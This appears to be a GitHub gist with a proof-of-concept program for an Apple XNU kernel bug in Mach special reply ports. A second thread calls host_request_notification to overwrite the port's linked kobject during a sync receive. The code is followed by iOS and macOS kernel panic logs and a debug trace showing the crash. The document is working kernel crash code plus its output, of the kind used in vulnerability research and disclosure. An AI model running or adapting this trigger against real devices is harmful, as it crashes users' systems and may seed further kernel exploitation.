@import Darwin; | |
@import Foundation; | |
// Note: do this from a separate thread | |
// getting a fresh reply port break all existing XPC connections on that thread | |
extern mach_port_name_t thread_get_special_reply_port(void); | |
static void LogProgress(uint8_t step) { | |
mach_msg(nil, 0x69000000 | (step << 16), 0, 0, 0, 0, 0); | |
} | |
// Code copied from XNU's tests/kevent_qos.c | |
#define T_QUIET | |
static void T_ASSERT_MACH_SUCCESS(kern_return_t err, const char* errmsg) { | |
if (err) { | |
fprintf(stderr, "%s\n", errmsg); | |
abort(); | |
} | |
} | |
#define T_LOG(a) | |
#define SEND_TIMEOUT_SECS 1 | |
struct test_msg { | |
mach_msg_header_t header; | |
mach_msg_body_t body; | |
mach_msg_port_descriptor_t port_descriptor; | |
mach_msg_option_t opts; | |
//mach_msg_priority_t qos; | |
}; | |
static void | |
Send( | |
mach_port_t send_port, | |
mach_port_t reply_port, | |
mach_port_t msg_port, | |
mach_msg_priority_t qos, | |
mach_msg_option_t options) | |
{ | |
kern_return_t ret = 0; | |
struct test_msg send_msg = { | |
.header = { | |
.msgh_remote_port = send_port, | |
.msgh_local_port = reply_port, | |
.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, | |
reply_port ? MACH_MSG_TYPE_MAKE_SEND_ONCE : 0, | |
MACH_MSG_TYPE_MOVE_SEND, | |
MACH_MSGH_BITS_COMPLEX), | |
.msgh_id = 0x100, | |
.msgh_size = sizeof(send_msg), | |
}, | |
.body = { | |
.msgh_descriptor_count = 1, | |
}, | |
.port_descriptor = { | |
.name = msg_port, | |
.disposition = MACH_MSG_TYPE_MOVE_RECEIVE, | |
.type = MACH_MSG_PORT_DESCRIPTOR, | |
}, | |
.opts = options, | |
}; | |
if (msg_port == MACH_PORT_NULL) { | |
send_msg.body.msgh_descriptor_count = 0; | |
} | |
#if 0 | |
if ((options & MACH_SEND_PROPAGATE_QOS) == 0) { | |
send_msg.header.msgh_voucher_port = create_pthpriority_voucher(qos); | |
send_msg.qos = qos; | |
} else { | |
qos_class_t qc; | |
int relpri; | |
pthread_get_qos_class_np(pthread_self(), &qc, &relpri); | |
send_msg.qos = (uint32_t)_pthread_qos_class_encode(qc, relpri, 0); | |
} | |
#endif | |
mach_msg_option_t send_opts = options; | |
if (reply_port) { | |
send_opts |= MACH_SEND_SYNC_OVERRIDE; | |
} | |
send_opts |= MACH_SEND_MSG | MACH_SEND_TIMEOUT | MACH_SEND_OVERRIDE; | |
ret = mach_msg(&send_msg.header, send_opts, send_msg.header.msgh_size, | |
0, MACH_PORT_NULL, 10000, qos); | |
T_QUIET; T_ASSERT_MACH_SUCCESS(ret, "client mach_msg"); | |
} | |
static kern_return_t | |
Receive( | |
mach_port_t rcv_port, | |
mach_port_t notify_port) | |
{ | |
kern_return_t ret = 0; | |
struct test_msg rcv_msg = { | |
.header = { | |
.msgh_remote_port = MACH_PORT_NULL, | |
.msgh_local_port = rcv_port, | |
.msgh_size = sizeof(rcv_msg), | |
}, | |
}; | |
T_LOG("Client: Starting sync receive\n"); | |
ret = mach_msg(&(rcv_msg.header), | |
MACH_RCV_MSG | | |
MACH_RCV_TIMEOUT | | |
MACH_RCV_SYNC_WAIT, | |
0, | |
rcv_msg.header.msgh_size, | |
rcv_port, | |
SEND_TIMEOUT_SECS * 1000, | |
notify_port); | |
return ret; | |
} | |
static void CheckSuccess(kern_return_t err) { | |
if (err) { | |
NSLog(@"%s %d", mach_error_string(err), err); | |
abort(); | |
} | |
} | |
struct SecondThreadArgs { | |
mach_port_t special_reply_port; | |
}; | |
static void* RunSecondThread(void* args) { | |
struct SecondThreadArgs* a = args; | |
mach_port_t special_reply_port = a->special_reply_port; | |
usleep(300000); // 0.3 seconds | |
CheckSuccess(host_request_notification(mach_host_self(), HOST_NOTIFY_CALENDAR_CHANGE, special_reply_port)); | |
return nil; | |
} | |
static void CrashTest() | |
{ | |
mach_port_t qos_send_port; | |
mach_port_t special_reply_port; | |
CheckSuccess(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &qos_send_port)); | |
CheckSuccess(mach_port_insert_right(mach_task_self(), qos_send_port, qos_send_port, MACH_MSG_TYPE_MAKE_SEND)); | |
LogProgress(10); | |
special_reply_port = thread_get_special_reply_port(); | |
LogProgress(20); | |
/* enqueue two messages to make sure that mqueue is not empty */ | |
Send(qos_send_port, MACH_PORT_NULL, MACH_PORT_NULL, | |
0, 0); | |
LogProgress(30); | |
Send(qos_send_port, MACH_PORT_NULL, MACH_PORT_NULL, | |
0, 0); | |
pthread_t thread; | |
struct SecondThreadArgs second_thread_args = { | |
.special_reply_port = special_reply_port, | |
}; | |
CheckSuccess(pthread_create(&thread, nil, &RunSecondThread, &second_thread_args)); | |
LogProgress(40); | |
/* sync wait on msg port */ | |
Receive(special_reply_port, qos_send_port); | |
// calls ipc_port_link_special_reply_port, setting special_reply_port->ip_kobject to qos_send_port | |
// once it does that, we use host_request_notification to overwrite | |
// special_reply_port->ip_kobject | |
// ... when ipc_port_adjust_special_reply_port_locked tries to removes the linked port when it returns, it panics | |
CheckSuccess(pthread_join(thread, nil)); | |
LogProgress(50); | |
} | |
int main() { | |
CrashTest(); | |
} |
panic(cpu 1 caller 0xfffffff02667d3f0): Kernel data abort. at pc 0xfffffff025f59d2c, lr 0xddf82e7025f5d4d0 (saved state: 0xffffffe8157d3a40) | |
x0: 0x4b9159e19e2c5890 x1: 0x4b9159e19e2c5890 x2: 0x0000000000000000 x3: 0x000000000000001f | |
x4: 0xffffffe1a08a5188 x5: 0x000000000000000b x6: 0xfeedfacefeedfacf x7: 0xfffffff132f64650 | |
x8: 0x0000000000000002 x9: 0x00000000ffffffff x10: 0x0000000000000000 x11: 0x0000000010004003 | |
x12: 0x000000000000000c x13: 0x0000000000000000 x14: 0xff0000000000079b x15: 0x00000000000009d8 | |
x16: 0xffffffe1a12b8780 x17: 0xffffffe1a12b8780 x18: 0x0000000000000000 x19: 0x4b9159e19e2c5890 | |
x20: 0x0000000000000001 x21: 0x4b9159e19e2c5890 x22: 0xffffffe1a43c84b4 x23: 0x0000000000000000 | |
x24: 0x0000000000000000 x25: 0xffffffe1a12b8780 x26: 0xffffffe1a08a5188 x27: 0x0000000010004003 | |
x28: 0x0000000000000001 fp: 0xffffffe8157d3d90 lr: 0xddf82e7025f5d4d0 sp: 0xffffffe8157d3d90 | |
pc: 0xfffffff025f59d2c cpsr: 0x20401208 esr: 0x96000004 far: 0x4b9159e19e2c5890 | |
Debugger message: panic | |
Memory ID: 0xff | |
OS release type: User | |
OS version: 18A8395 | |
Kernel version: Darwin Kernel Version 20.0.0: Wed Sep 30 03:24:26 PDT 2020; root:xnu-7195.0.46~41\/RELEASE_ARM64_T8101 | |
Kernel UUID: B5D61096-0C18-372C-95F7-D96C8BB14015 | |
iBoot version: iBoot-6723.11.41 | |
secure boot?: YES | |
Paniclog version: 13 | |
Kernel slide: 0x000000001e40c000 | |
Kernel text base: 0xfffffff025410000 | |
mach_absolute_time: 0x1b20260e1 | |
Epoch Time: sec usec | |
Boot : 0x5fe7a295 0x0006780e | |
Sleep : 0x00000000 0x00000000 | |
Wake : 0x00000000 0x00000000 | |
Calendar: 0x5fe7a3bd 0x00051dd0 | |
CORE 0 recently retired instr at 0xfffffff0260b0614 | |
CORE 1 recently retired instr at 0xfffffff0260af17c | |
CORE 2 recently retired instr at 0xfffffff0260b0614 | |
CORE 3 recently retired instr at 0xfffffff0260b0614 | |
CORE 4 recently retired instr at 0xfffffff0260b0618 | |
CORE 5 recently retired instr at 0xfffffff0260b0618 | |
Panicked task 0xffffffe1a47c8000: 3579 pages, 8 threads: pid 320: CrashTestDummy | |
Panicked thread: 0xffffffe1a08a5188, backtrace: 0xffffffe8157d31e0, tid: 6922 | |
lr: 0xfffffff025f7aee4 fp: 0xffffffe8157d3220 | |
lr: 0xfffffff025f7ace4 fp: 0xffffffe8157d3290 | |
lr: 0xfffffff0260b5b08 fp: 0xffffffe8157d32b0 | |
lr: 0xfffffff0260a76cc fp: 0xffffffe8157d3370 | |
lr: 0xfffffff0266726b8 fp: 0xffffffe8157d3380 | |
lr: 0xfffffff025f7a9cc fp: 0xffffffe8157d3700 | |
lr: 0xfffffff025f7a9cc fp: 0xffffffe8157d3760 | |
lr: 0xfffffff027df8a1c fp: 0xffffffe8157d3780 | |
lr: 0xfffffff02667d3f0 fp: 0xffffffe8157d38f0 | |
lr: 0xfffffff0260a8698 fp: 0xffffffe8157d3960 | |
lr: 0xfffffff0260a77ac fp: 0xffffffe8157d3a20 | |
lr: 0xfffffff0266726b8 fp: 0xffffffe8157d3a30 | |
lr: 0xfffffff025f5d4d0 fp: 0xffffffe8157d3d90 | |
lr: 0xfffffff025f5d4d0 fp: 0xffffffe8157d3dd0 | |
lr: 0xfffffff025f5d2d8 fp: 0xffffffe8157d3e30 | |
lr: 0xfffffff025f6d040 fp: 0xffffffe8157d3ec0 | |
lr: 0xfffffff025f6d6ec fp: 0xffffffe8157d3f00 | |
lr: 0xfffffff026678e14 fp: 0x0000000000000000 |
panic(cpu 0 caller 0xffffff800630fc8a): "Address not in expected zone for zone_require check (addr: 0xffffff801f206390, zone: ipc ports)"@/Users/zhuowei/Documents/winprogress/macos11/crashtest/xnubuild/build-xnu/xnu-6153.141.1/osfmk/kern/zalloc.c:662 | |
Backtrace (CPU 0), Frame : Return Address | |
0xffffff95997758a0 : 0xffffff8006273cee | |
0xffffff9599775900 : 0xffffff800627349f | |
0xffffff9599775940 : 0xffffff80064df248 | |
0xffffff9599775990 : 0xffffff80064c7fbe | |
0xffffff9599775ad0 : 0xffffff80064e7540 | |
0xffffff9599775af0 : 0xffffff8006272d78 | |
0xffffff9599775c40 : 0xffffff8006273916 | |
0xffffff9599775cc0 : 0xffffff8006e7266f | |
0xffffff9599775d30 : 0xffffff800630fc8a | |
0xffffff9599775d60 : 0xffffff800623d73d | |
0xffffff9599775d80 : 0xffffff80062393e3 | |
0xffffff9599775db0 : 0xffffff800624224e | |
0xffffff9599775df0 : 0xffffff8006242acb | |
0xffffff9599775e50 : 0xffffff800625b403 | |
0xffffff9599775ea0 : 0xffffff800625ae7b | |
0xffffff9599775f60 : 0xffffff800625b819 | |
0xffffff9599775f80 : 0xffffff800623abfc | |
0xffffff9599775fa0 : 0xffffff80064bb72e | |
BSD process name corresponding to current thread: crashtest | |
Boot args: kcsuffix=debug | |
Mac OS version: | |
19H15 | |
Kernel version: | |
Darwin Kernel Version 19.6.0: Fri 25 Dec 2020 20:26:21 PST; zhuowei:xnu-6153.141.1[xnu-4570.1.46-20-gc9688565-dirty]/BUILD/obj/DEBUG_X86_64 | |
Kernel UUID: 66BE7EB4-0014-3CD0-B0F8-F7052A14701C | |
Kernel slide: 0x0000000006000000 | |
Kernel text base: 0xffffff8006200000 | |
__HIB text base: 0xffffff8006100000 | |
System model name: VMware7,1 (Mac-E43C1C25D4880AD6) | |
System shutdown begun: NO | |
Panic diags file available: YES (0x0) | |
System uptime in nanoseconds: 3607247740506 | |
last loaded kext at 128422114510: @fileutil 20.036.15 (addr 0xffffff7f89521000, size 114688) | |
last unloaded kext at 290237619095: >!AFIVRDriver 4.1.0 (addr 0xffffff7f89103000, size 12288) | |
loaded kexts: | |
@fileutil 20.036.15 | |
@filesystems.autofs 3.0 | |
>AudioAUUC 1.70 | |
@AGDCPluginDisplayMetrics 5.2.6 | |
>!AHV 1 | |
|IOUserEthernet 1.0.1 | |
|IO!BSerialManager 7.0.6f7 | |
@Dont_Steal_Mac_OS_X 7.0.0 | |
>!AUpstreamUserClient 3.6.8 | |
>!AHDA 283.15 | |
>!AMCCSControl 1.14 | |
>ACPI_SMC_PlatformPlugin 1.0.0 | |
>!A!ISlowAdaptiveClocking 4.0.0 | |
|SCSITaskUserClient 422.120.3 | |
@filesystems.apfs 1412.141.1 | |
>!AVirtIO 1.0 | |
@filesystems.hfs.kext 522.100.5 | |
>!AAHCIPort 341.140.1 | |
@!AFSCompression.!AFSCompressionTypeDataless 1.0.0d1 | |
@BootCache 40 | |
@!AFSCompression.!AFSCompressionTypeZlib 1.0.0 | |
>!I82574LEthernet 2.7.2 | |
@private.KextAudit 1.0 | |
>!AACPIButtons 6.1 | |
>!AHPET 1.8 | |
>!ARTC 2.0 | |
>!ASMBIOS 2.1 | |
>!AAPIC 1.7 | |
$!AImage4 1 | |
@nke.applicationfirewall 303 | |
$TMSafetyNet 8 | |
@!ASystemPolicy 2.0.0 | |
|EndpointSecurity 1 | |
@kext.triggers 1.0 | |
>DspFuncLib 283.15 | |
@kext.OSvKernDSPLib 529 | |
@!AGPUWrangler 5.2.6 | |
@!AGraphicsDeviceControl 5.2.6 | |
>!ASMBus!C 1.0.18d1 | |
|IOSMBus!F 1.1 | |
|IO!BHost!CUSBTransport 7.0.6f7 | |
|IO!BHost!CTransport 7.0.6f7 | |
|IO!B!F 7.0.6f7 | |
|IO!BPacketLogger 7.0.6f7 | |
>!AHDA!C 283.15 | |
|IOHDA!F 283.15 | |
>IOPlatformPluginLegacy 1.0.0 | |
>IOPlatformPlugin!F 6.0.0d8 | |
|IOSlowAdaptiveClocking!F 1.0.0 | |
|IONDRVSupport 576.1 | |
|IOGraphics!F 576.1 | |
>usb.!UHub 1.2 | |
>usb.networking 5.0.0 | |
>usb.!UHostCompositeDevice 1.2 | |
|IOSCSIMultimediaCommandsDevice 422.120.3 | |
|IOBD!S!F 1.8 | |
|IODVD!S!F 1.8 | |
|IOCD!S!F 1.8 | |
|IOAHCISerialATAPI 268 | |
|IOAHCIBlock!S 316.100.5 | |
|IOAudio!F 300.2 | |
@vecLib.kext 1.2.0 | |
|IOSerial!F 11 | |
|IOSurface 269.11 | |
|IOAHCI!F 290.0.1 | |
>usb.!UEHCIPCI 1.2 | |
>usb.!UUHCIPCI 1.2 | |
>usb.!UUHCI 1.2 | |
>usb.!UEHCI 1.2 | |
>usb.!UXHCIPCI 1.2 | |
>usb.!UXHCI 1.2 | |
@filesystems.hfs.encodings.kext 1 | |
>usb.!UHostPacketFilter 1.0 | |
|IOUSB!F 900.4.2 | |
>!AEFINVRAM 2.1 | |
>!AEFIRuntime 2.1 | |
|IOHID!F 2.0.0 | |
$quarantine 4 | |
$sandbox 300.0 | |
@kext.!AMatch 1.0.0d1 | |
>DiskImages 493.0.0 | |
>!AFDEKeyStore 28.30 | |
>!AEffaceable!S 1.0 | |
>!ASSE 1.0 | |
>!AKeyStore 2 | |
>!UTDM 489.120.1 | |
|IOSCSIBlockCommandsDevice 422.120.3 | |
>!ACredentialManager 1.0 | |
>KernelRelayHost 1 | |
>!ASEPManager 1.0.1 | |
>IOSlaveProcessor 1 | |
|IOUSBMass!SDriver 157.140.1 | |
|IOSCSIArchitectureModel!F 422.120.3 | |
|IO!S!F 2.1 | |
|IOUSBHost!F 1.2 | |
>!UHostMergeProperties 1.2 | |
>usb.!UCommon 1.0 | |
>!ABusPower!C 1.0 | |
|CoreAnalytics!F 1 | |
>!AMobileFileIntegrity 1.0.5 | |
@kext.CoreTrust 1 | |
|IOTimeSync!F 840.3 | |
|IONetworking!F 3.4 | |
|IOReport!F 47 | |
>!AACPIPlatform 6.1 | |
>!ASMC 3.1.9 | |
>watchdog 1 | |
|IOPCI!F 2.9 | |
|IOACPI!F 1.4 | |
@kec.pthread 1 | |
@kec.corecrypto 1.0 | |
@kec.Libm 1 | |
entered 10 | |
In ipc_port_adjust_special_reply_port_locked:port=0xffffff80291ae850 obj=0 state=0 | |
kn=0 flags=4 get_turnstile=no | |
entered 20 | |
Sending a message | |
start of ipc_kmsg_copyin_header | |
after ipc right copy in: dest=0xffffff8023e48618 reply=0 | |
ipc_kmsg_set_qos kmsg=0xffffff8029436200 options=31 override=0 reply=0x0 dest=0xffffff8023e48618 ip_valid=no msgh_bits=80110011 | |
ipc_kmsg_copyin header: | |
00000034 | |
80110011 | |
0xffffff8023e48618 | |
0x0 | |
0x0 | |
00000100 | |
entered 30 | |
Sending a message | |
start of ipc_kmsg_copyin_header | |
after ipc right copy in: dest=0xffffff8023e48618 reply=0 | |
ipc_kmsg_set_qos kmsg=0xffffff8029436e00 options=31 override=0 reply=0x0 dest=0xffffff8023e48618 ip_valid=no msgh_bits=80110011 | |
ipc_kmsg_copyin header: | |
00000034 | |
80110011 | |
0xffffff8023e48618 | |
0x0 | |
0x0 | |
00000100 | |
entered 40 | |
Receiving message! object=0xffffff80237e8d48 | |
mach_msg_rcv_link_special_reply_port port=0xffffff80237e8d48 dest=f0b | |
mach_msg_rcv_link_special_reply_port got dest port=0xffffff8023e48618 | |
ipc_port_link_special_reply_port: port=0xffffff80237e8d48 dest=0xffffff8023e48618 sync=no state=0 ip_sync_inheritor_port=0 | |
Take a reference: 0xffffff80237e8d48 -> 0xffffff8023e48618 | |
ipc_port_recv_update_inheritor special port=0xffffff80237e8d48 state=1 | |
Sending a message | |
start of ipc_kmsg_copyin_header | |
after ipc right copy in: dest=0xffffff801d871e60 reply=0xffffff80217d08d8 | |
ipc_kmsg_set_qos kmsg=0xffffff8029436500 options=3 override=0 reply=0xffffff80217d08d8 dest=0xffffff801d871e60 ip_valid=yes msgh_bits=80001211 | |
ipc_kmsg_copyin header: | |
0000003c | |
80001211 | |
0xffffff801d871e60 | |
0xffffff80217d08d8 | |
0x0 | |
000000d9 | |
host_request_notification port 0xffffff80237e8d48 old 0xffffff8023e48618 entry 0xffffff801f206390 | |
Receiving message! object=0xffffff80217d08d8 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment